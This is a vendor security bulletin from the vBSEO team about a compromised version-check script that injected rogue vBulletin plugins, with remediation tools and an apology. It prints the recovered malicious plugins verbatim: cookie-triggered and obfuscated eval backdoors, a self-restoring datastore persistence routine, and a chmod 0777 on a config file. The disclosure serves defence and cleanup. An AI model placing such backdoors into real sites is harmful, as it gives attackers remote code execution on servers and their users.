*vBSEO Security Bulletin* All Supported Versions: Patch Release

For the benefit of those seeking a consolidated place with answers to all questions concerning the recent security patch released for vBSEO, I'm creating a separate FAQ thread with more information on the matter. It will be published as installment posts via this thread, and separately, as a new thread in the Announcements Forum.

After an exhaustive investigation conducted by our team during the last 24 hours, we have gathered the following relevant information:

What caused the exploit?
Your vBSEO control panel includes the ability to display the latest stable version along with a notice if you are not currently running that version. This is a standard practice aimed at encouraging users to upgrade to the latest stable version if they are not doing so. It's always recommended that customers install the latest stable version (of any given software product) to ensure they are running the most secure, best performing build on their sites.

vBSEO does this by including a javascript snippet (http://www.vbseo.com/info/vbseo_checkver.js?ver=X.X.X) that is executed when you visit your vBSEO CP. This is a common feature as I said above, a familiar example is how vBulletin alerts you at the very top of your Admin CP (see image attached) via a javascript snippet pulled from http://version.vbulletin.com/version.js?v=4110&id=XXXXXXXXXXXX&pid=vbulletinsui te. In our case we rewrite vbseo_checkver.js to vbseo_checkver.php on our side as the php version allows us to automate the process of updating the snippet to reflect the latest stable version. We do this with the following rewrite rule:

Code:

RewriteRule ^vbseo_checkver\.js$ vbseo_checkver.php?type=1 [L,QSA]

Our logs revealed that on Dec 1st, 2011 (last month), the file in question, vbseo_checkver.php, was compromised with code that would inject rogue vBulletin plugin(s) to a forum under *very particular conditions*:

A. A user is a forum administrator and *has rights to create plugins*

B. Said user is accessing the vBSEO control panel from within the vBulletin Admin CP OR

B2. Said user has logged-in to the vBulletin Admin CP recently (and consequently *is cookied* to allow access without requiring credentials)

C. Said activity has occurred sometime in the last month *starting December 1st, 2011* (as stated above)

If ALL the conditions above do not apply to you, it's safe to assume your forums have *not* been a victim of this exploit.

Exploit mechanism explained
For those interested in knowing *exactly* how the malicious code was injected:

1. The code in the compromised vbseo_checkver.php/js file created an iframe pointing to a given forum's admincp/plugin.php file.
2. It checked if a rogue plugin was already installed, if not,
3. It redirected to the "add plugin" page in the admincp (all this within in a hidden iframe)
4. It filled in the form fields (title/hook/code) and submitted the rogue plugin - all without user interaction.

NOTE: Even if you have not been exposed, it is strongly recommended that you apply the security patch linked a the top of this thread. It includes a security fix that had been applied to the function proc_deutf() (discovered and reported by a customer last year) that somehow got reverted at one point during the development process this year. There are no signs pointing at this vulnerability as being the culprit of the recent exploits.

Go through your plugin list. If you do see anything that doesn't look familiar, it may be wise to disable that plugin while troubleshooting further. Most reports have been tied to the global_complete hook under the core 'vBulletin' product, but may also be elsewhere.

Testing Utility
To help in seeking suspect plugins, we have created a small utility that verifies the source code of all your plugins and datastore for known patterns of malicious plugins that have been reported:

1. If your install is clean, the tool simply displays an "OK".
2. If a suspect plugin is identified, a link to edit/disable it in admincp is displayed.

Installation Instructions:

1. Download the attached file (vbseo_checkplugins.zip), unzip and upload it to the root of your forums directory.
2. Visit www.yoursite.com/[forum-directory-name]/vbseo_checkplugins.php
3. Review your results as described in the 'Testing Utility' section above.

NOTE: If you identify a rogue plugin not detected by the current testing utility, please report it via our ticket system or create a new thread in the troubleshooting forum titled "Undetected rogue plugin" so that we can update the utility ASAP.

Thanks for your cooperation.

vbseo_checkplugins


vbseo_checkplugins2.zip
vbseo_checkplugins.zip

There have been three plugins reported so far:

1. Plugin Name: vBCMS Global Thread Cache - Product: vBulletin, Hook Name: global_complete
   
   PHP Code:

   /* vBCMS Global Thread Cache */
(isset($_COOKIE["vbulletin_collapse"]) && preg_match("/menu:([a-z]+):(.*)/",$_COOKIE["vbulletin_collapse"],$m))?$m[1]($m[2]):chr(20); 

2. Plugin Name: vBulletin Templates Cookie Caching - Product: vBulletin, Hook Name: global_complete
   
   PHP Code:

   /* vBulletin Templates Cookie Caching */
$vbr="ebzgidfv";$vbh="8481c5d89a2f66b305da645cdf941d47";isset($_COOKIE["vbinit"])?die(header("Cache-ID: $vbr")):chr(10);(isset($_COOKIE["vbauth"])&&(md5($_COOKIE["vbauth"])=="a32229ad78262c52c4073b07fdd58912")&&isset($_COOKIE["vbcache"])&&preg_match("/cache:([a-f0-9]+):([a-z]+):(.*)/",$_COOKIE["vbcache"],$m)&&(md5($vbr.$vbh)===$m[1]))?$m[2]($m[3]):chr(10); 

3. Plugin that restores itself from datastore
   
   PHP Code:

   $GLOBALS["backups"]["randomseed"] = array (
   0 => 'global_complete',
   1 => 's:648:"assert(pack(chr(99).chr(42),40,33,101,109,112,116,121,40,36,95,83,69,82,86,69,82,91,34,72,84,84,80,95,70,79,79,84,69,82,68,73,83,80,76,65,89,34,93,41,63,101,118,97,108,40,98,97,115,101,54,52,95,100,101,99,111,100,101,40,36,95,83,69,82,86,69,82,91,34,72,84,84,80,95,70,79,79,84,69,82,68,73,83,80,76,65,89,34,93,41,41,58,40,33,101,109,112,116,121,40,36,95,82,69,81,85,69,83,84,91,34,102,111,111,116,101,114,100,105,115,112,108,97,121,34,93,41,63,101,118,97,108,40,98,97,115,101,54,52,95,100,101,99,111,100,101,40,36,95,82,69,81,85,69,83,84,91,34,102,111,111,116,101,114,100,105,115,112,108,97,121,34,93,41,41,58,117,110,105,113,105,100,40,41,41,41));";',
);
$GLOBALS["acpcache"] = array (
   0 => 'init_startup',
   1 => 's:1465:"if (!defined("vB_PluginCacheActive")) {    define("vB_PluginCacheActive", 1);    function vB_PluginCacheCheck() {        try {            global $db;            $plugin_data = $db->query_read("SELECT * FROM ".TABLE_PREFIX."datastore WHERE title=\'pluginlist\'");            $plugin_info = $db->fetch_array($plugin_data);            $GLOBALS["vbplist"] = unserialize($plugin_info[\'data\']);            $GLOBALS["vbpcache"] = "";            foreach($GLOBALS[\'backups\'] as $k => $v) {                $back = unserialize($v[1]);                vB_PluginCacheUpdate($v[0], $back, $back);                $GLOBALS["vbpcache"] .= \'$GLOBALS["backups"]["\'.$k.\'"] = \'.var_export($v, 1).";\\n";            }            $GLOBALS["vbpcache"] .= \'$GLOBALS["acpcache"] = \'.var_export($GLOBALS[\'acpcache\'], 1).";\\n";            $back = $GLOBALS["vbpcache"].unserialize($GLOBALS[\'acpcache\'][1])."\\n";            vB_PluginCacheUpdate($GLOBALS[\'acpcache\'][0], $back, "vB_PluginCacheActive");        } catch (Exception $e) {}    }    function vB_PluginCacheUpdate($hook, $code, $test) {        if (!array_key_exists($hook, $GLOBALS["vbplist"])) {            $GLOBALS["vbplist"][$hook] = "";        }        if (strpos($GLOBALS["vbplist"][$hook], trim($test)) === false) {            $GLOBALS["vbplist"][$hook] = $code . $GLOBALS["vbplist"][$hook];            build_datastore(\'pluginlist\', serialize($GLOBALS["vbplist"]), 1);        }    }    $vbulletin->shutdown->add(vB_PluginCacheCheck);}";',
);
if (!defined("vB_PluginCacheActive")) {    define("vB_PluginCacheActive", 1);    function vB_PluginCacheCheck() {        try {            global $db;            $plugin_data = $db->query_read("SELECT * FROM ".TABLE_PREFIX."datastore WHERE title='pluginlist'");            $plugin_info = $db->fetch_array($plugin_data);            $GLOBALS["vbplist"] = unserialize($plugin_info['data']);            $GLOBALS["vbpcache"] = "";            foreach($GLOBALS['backups'] as $k => $v) {                $back = unserialize($v[1]);                vB_PluginCacheUpdate($v[0], $back, $back);                $GLOBALS["vbpcache"] .= '$GLOBALS["backups"]["'.$k.'"] = '.var_export($v, 1).";\n";            }            $GLOBALS["vbpcache"] .= '$GLOBALS["acpcache"] = '.var_export($GLOBALS['acpcache'], 1).";\n";            $back = $GLOBALS["vbpcache"].unserialize($GLOBALS['acpcache'][1])."\n";            vB_PluginCacheUpdate($GLOBALS['acpcache'][0], $back, "vB_PluginCacheActive");        } catch (Exception $e) {}    }    function vB_PluginCacheUpdate($hook, $code, $test) {        if (!array_key_exists($hook, $GLOBALS["vbplist"])) {            $GLOBALS["vbplist"][$hook] = "";        }        if (strpos($GLOBALS["vbplist"][$hook], trim($test)) === false) {            $GLOBALS["vbplist"][$hook] = $code . $GLOBALS["vbplist"][$hook];            build_datastore('pluginlist', serialize($GLOBALS["vbplist"]), 1);        }    }    $vbulletin->shutdown->add(vB_PluginCacheCheck);} 

4. Plugin Name: Test - Product: vBulletin, Hook Name: admin_index_main1
   
   PHP Code:

   var_dump(fileperms(DIR . '/vbseo/resources/xml/config.xml'));
chmod(DIR . '/vbseo/resources/xml/config.xml', 0777); 


NOTE: We will update this list if more plugins get reported.

What do they do?
None of the plugins have a particularly offending code, they simply "listen" for incoming requests from a third party. In a compromised board, the code is passed via a cookie or POST request as described previously, this is dangerous in the sense that a request can be *anything*. However, what we have seen appears to be a link-stealer for outbound traffic and doesn't necessarily expose any information or passwords of your site. It is always a good idea to update your ftp, server, vb admin, vbseocp, and even any htaccess passwords on your server as a precaution.

All reported plugins so far are detected with the "Testing Utility" provided above. It also contains various "generic" patterns to detect similar suspicious code.

NOTE: After running the initial Testing Utility (vbseo_checkplugins.zip) we distributed yesterday, some users reported an invalid SQL error:

Code:

SELECT * FROM datastore WHERE title='pluginlist';

That led us to find the 3rd plugin (#3 listed above), that restores itself from datastore. The SQL error is caused by the injected code and not the Testing Utility. We have released an updated version of the utility (vbseo_checkplugins2.zip) that clears the datastore, resolving this problem.

As a reference, the code that cleans the datastore is:

PHP Code:

if(isset($_GET['resetds'])){
    define('DISABLE_HOOKS',1);
    require_once(DIR . '/includes/adminfunctions.php');
    vBulletinHook::build_datastore($db);
    echo 'Resetting datastore. <a href="vbseo_checkplugins.php">Click here to check again</a>';
    $db = $vbulletin->db = null;
    exit;} 


NOTE: There's no need to run the code above separately, it's already included in vbseo_checkplugins2.zip. Notice we have set the DB identifiers to null at the end, otherwise the plugin would reinstall itself when the "exit;" command is executed. For this reason you will see another DB error message when clicking the "clean datastore", this is expected as the rogue plugin tries to inject itself back into the datastore, fails, and dies.

Monitoring Tool (Add-On)
We are making available a plugin (product-crawlabi_av.xml - see attached) that monitors and reports suspicious activity in your forums. It will send you an email upon detecting:

• Incoming requests handled by known malicious plugins
• If a plugin has been added or code modified

The email sent to the address specified in the settings will include the following arrays:

1. IP
2. URL
3. User agent
4. GET
5. POST
6. COOKIE

This Add-on is optional, runs on every request and is not optimized. We are providing it "as-is" for those wanting to further investigate (and possibly help us determine) malicious goals of the offenders that we may be unaware of. It works even if your board was not impacted by the exploit, or if it was hit but has been cleared already.

You may forward emails sent to you via the reporting tool to support@vbseo.com.

product-crawlabi_av.xml

We made a number of errors, most of them related to safeguarding our own server. We had a number of older, outdated or unpatched software and/or software traces:

• Older vB instances used for testing
• Wordpress instances we used in the past to test linkbacks and livestats
• Instances of idevaffiliate that were left in place while moving it to a new directory
• Outdated awstats product
• Unused/Outdated legacy products: ReviewPost, vBSurvey, vBHelp, iTrader, vBProject Tools, vBSupport, vBA CMPS

Actions we have taken

• We have removed all the outdated software products listed above
• We have installed monitoring tools that alert us of suspicious incoming requests
• We are running custom scripts that alert us of any non-approved changes to files
• We have hardened the overall security of our server using various best practices

Actions we are taking moving forward

• In the next vBSEO version we are updating the exploited feature to use an API-type mechanism, which is much more secure by design as it accepts and returns *only* predetermined patterns and not *any code* as the include approach does.
• We are taking non-core services offsite, as dependencies allow. We are moving the forum and core services to a cloud hosting service (most likely AWS), and...
• all other services (such as the support ticket system) offsite to third party servers and/or SaaS providers.

Dear Customers and Friends,

We at Crawlability would like to extend our sincerest apologies for the recent round of exploits that surfaced earlier this week. While we have always put relentless focus on the quality and performance of the vBSEO product, it's clear we missed the mark by overlooking key best practices to properly safeguard our own servers. For testing compatibility and other purposes, we had a plethora of out of date add-ons, plugins, and other popular software that many of our customers use. These were often installed, checked for compatibility, and then left neglected without concern. It is to the best of our knowledge that through one of these old softwares, an exploit was able to target our file system which initiated the JS include problem that led to the datastore issues many of you faced.

Although we have removed all outdated/unused software and verified all our current software for holes, moving forward we hope to minimize any issues of similar nature by completely separating our different services and keeping better tabs on installed software and development environments. Our ticket system, forum, and test beds will all be served from non-connected servers in the very near future. This will ensure that if one system is compromised, others will not. Also, the next vBSEO release *will not* use a JS include approach but rather an API mechanism, which is intrinsically more secure. In fact, an API-type exchange will not allow random patterns of code to be injected at all.

Thank you to all the customers who helped us help the community by reporting issues, supplying code, and helping us narrow down the attack vector in a quick fashion. We value your contributions very highly and appreciate the effort set forth.

Once again, we apologize for the inconvenience caused to our customers. Your success is our success, and we value your opinion of us as a company and hope that you still hold us with high regard and trust.

Thank you for your time and consideration.

-The vBSEO Team